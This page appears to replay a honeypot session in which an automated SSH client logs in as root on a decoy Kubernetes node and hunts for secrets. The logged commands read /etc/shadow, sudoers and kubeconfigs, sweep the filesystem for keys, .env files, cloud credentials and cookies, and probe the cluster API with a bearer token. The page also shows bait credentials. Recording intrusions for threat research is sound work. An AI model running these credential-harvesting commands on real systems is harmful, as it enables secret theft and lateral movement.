← All sessions
Ended · replayGot in

Got in and went looking for secret keys

on Sköndal, Swedenfern-cicada-3i from Bad Soden am Taunus (Neuenhain), Germanyseen 7 times this weekSSH-2.0-paramiko_5.1.0

root@se-sto-oracle-1 · 🇸🇪 Sköndal
connected from 🇩🇪 Bad Soden am Taunus (Neuenhain), Germany · SSH-2.0-paramiko_5.1.0
root@se-sto-oracle-1's password: 
Logged in as root
root@se-sto-oracle-1:~# cat /home/marta/.bash_history
kubectl get nodes -o wide
kubectl get pods -A
kubectl describe node se-sto-oracle-1
kubectl -n dispatch get deploy
kubectl -n dispatch logs deploy/dispatch-api --since=30m
kubectl -n dispatch logs dispatch-api-7b8f6c8d9d-q2m4p --previous
kubectl get events -A --sort-by=.lastTimestamp | tail -n 30
sudo journalctl -u kubelet --since "2 hours ago"
sudo crictl ps
sudo crictl pods
kubectl -n dispatch rollout history deployment/dispatch-api
vim ~/parcelwise/values.yaml
kubectl -n dispatch diff -f ~/parcelwise/values.yaml
kubectl -n dispatch get secret dispatch-db -o yaml
kubectl config current-context
kubeadm token list
sudo systemctl status containerd kubelet
kubectl get nodes
kubectl get pods -A
exit
root@se-sto-oracle-1:~# echo ___CMDDONE___$?
___CMDDONE___0
root@se-sto-oracle-1:~# cat /root/.bash_history
apt update
apt install -y containerd runc conntrack socat ebtables iptables curl
systemctl enable --now containerd
mkdir -p /etc/containerd
containerd config default > /etc/containerd/config.toml
nano /etc/containerd/config.toml
systemctl restart containerd
apt-mark hold kubelet kubeadm kubectl
kubeadm version
kubectl version --client
kubeadm token list
systemctl status kubelet
journalctl -u kubelet --since yesterday
crictl ps
crictl pods
iptables -t nat -L KUBE-SERVICES -n
sysctl net.bridge.bridge-nf-call-iptables
exit
ifconfig 2>/dev/null || cat /proc/net/fib_trie 2>/dev/null | grep -A1 '32 host' | head -20
; echo ___CMDDONE___$?
cat /etc/os-release 2>/dev/null; echo ==; cat /etc/hosts 2>/dev/null; echo ==; route -n 2>/dev/null || cat /proc/net/route 2>/dev/null | head
; echo ___CMDDONE___$?
cat /etc/passwd
; echo ___CMDDONE___$?
wc -l /etc/shadow 2>/dev/null; grep -vE '^[^:]+:[!*]' /etc/shadow 2>/dev/null | head -40
; echo ___CMDDONE___$?
ls -la /home/ 2>/dev/null; echo ==; getent passwd | awk -F: '$3>=1000 && $3<65534{print $1,$3,$6,$7}'
; echo ___CMDDONE___$?
cat /etc/sudoers 2>/dev/null | grep -vE '^#|^$' ; echo ==LS==; ls -la /etc/sudoers.d/ 2>/dev/null; for f in /etc/sudoers.d/*; do echo ---$f; cat $f 2>/dev/null; done
; echo ___CMDDONE___$?
echo ROOT_KUBE; ls -la /root/.kube/ 2>/dev/null; for f in /root/.kube/config /root/.kube/admin.conf; do echo ---$f; cat $f 2>/dev/null; done; echo USER_KUBE; for d in /home/*/.kube; do echo ---$d; ls -la $d 2>/dev/null; cat $d/config 2>/dev/null; done
; echo ___CMDDONE___$?
echo HELLO; grep '^root:' /etc/shadow
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f \( -name '*.env' -o -name '.env' -o -name '*.pem' -o -name '*.key' -o -name '*.kdbx' -o -name 'credentials' -o -name 'config' -o -name '*.yml' -o -name '*.yaml' -o -name '*.json' -o -name '*.sql' -o -name '*.bak' -o -name '*.conf' -o -name '.git-credentials' -o -name '*Login Data*' -o -name 'Cookies' -o -name '*history*' \) -print 2>/dev/null | head -300
echo ___CMDDONE___$?
for d in /root /home/*; do echo ===$d===; ls -la $d 2>/dev/null; done
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type f \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name 'id_dsa' -o -name 'known_hosts' -o -name 'authorized_keys' -o -name '*.ppk' \) -print 2>/dev/null | head -100
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.oci' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.aws' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
ls -la /var/run/docker.sock 2>/dev/null; echo ==; which docker crictl ctr nerdctl kubectl 2>/dev/null; echo ==; ls -la /var/lib/docker /var/lib/containerd 2>/dev/null | head -40
echo ___CMDDONE___$?
root@se-sto-oracle-1:~# echo ___CMDDONE___$?
___CMDDONE___0
root@se-sto-oracle-1:~# cat /home/marta/parcelwise/values.yaml
replicaCount: 3
image:
  repository: registry.parcelwise.internal/dispatch-api
  tag: "2.14.7"
service:
  port: 8080
database:
  host: postgres.data.svc.cluster.local
  port: 5432
  name: dispatch
  user: dispatch_app
  password: sRcXxM8rQzG7!50
objectStorage:
  endpoint: https://s3.eu-north-1.amazonaws.com
  bucket: parcelwise-dispatch-prod
  region: eu-north-1
  accessKeyId: AKIACL6TECHJREEG6KCW
  secretAccessKey: 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
root@se-sto-oracle-1:~# echo ___CMDDONE___$?
___CMDDONE___0
root@se-sto-oracle-1:~# cat /etc/kubernetes/kubelet.conf 2>/dev/null | head -40; echo ===KCFG===; cat /var/lib/kubelet/config.yaml 2>/dev/null | head -40
apiVersion: v1
kind: Config
clusters:
- name: parcelwise-prod
  cluster:
    server: https://10.44.0.10:6443
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0t
contexts:
- name: system:node:se-sto-oracle-1
  context:
    cluster: parcelwise-prod
    user: system:node:se-sto-oracle-1
current-context: system:node:se-sto-oracle-1
users:
- name: system:node:se-sto-oracle-1
  user:
    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0t
    client-key-data: f1dad815a6fa1f5b12269b08e8978eac
===KCFG===
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
address: 0.0.0.0
port: 10250
readOnlyPort: 0
authentication:
  anonymous:
    enabled: false
  webhook:
    enabled: true
authorization:
  mode: Webhook
clusterDomain: cluster.local
clusterDNS:
- 10.96.0.10
containerRuntimeEndpoint: unix:///run/containerd/containerd.sock
cgroupDriver: systemd
rotateCertificates: true
root@se-sto-oracle-1:~# echo ___CMDDONE___$?
___CMDDONE___0
root@se-sto-oracle-1:~# export KUBECONFIG=/home/marta/.kube/config; kubectl --kubeconfig=/home/marta/.kube/config get nodes 2>&1 | head -20; echo '[NS]'; kubectl --kubeconfig=/home/marta/.kube/config get ns 2>&1 | head -30
[NS]
root@se-sto-oracle-1:~# echo ___CMDDONE___$?
___CMDDONE___0
root@se-sto-oracle-1:~# echo API=10.44.0.10:6443; curl -sk --max-time 8 -H 'Authorization: Bearer b19bbaef25257f6f4c6aa2e55ee0c94e' https://10.44.0.10:6443/api/v1/namespaces 2>&1 | head -c 3000
API=10.44.0.10:6443
root@se-sto-oracle-1:~# echo ___CMDDONE___$?
___CMDDONE___0

Disconnected · 17s inside

0:17 / 0:17
What they found: A container cluster's worker nodeOne machine of a small company's self-hosted container cluster, running its customer-facing services.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.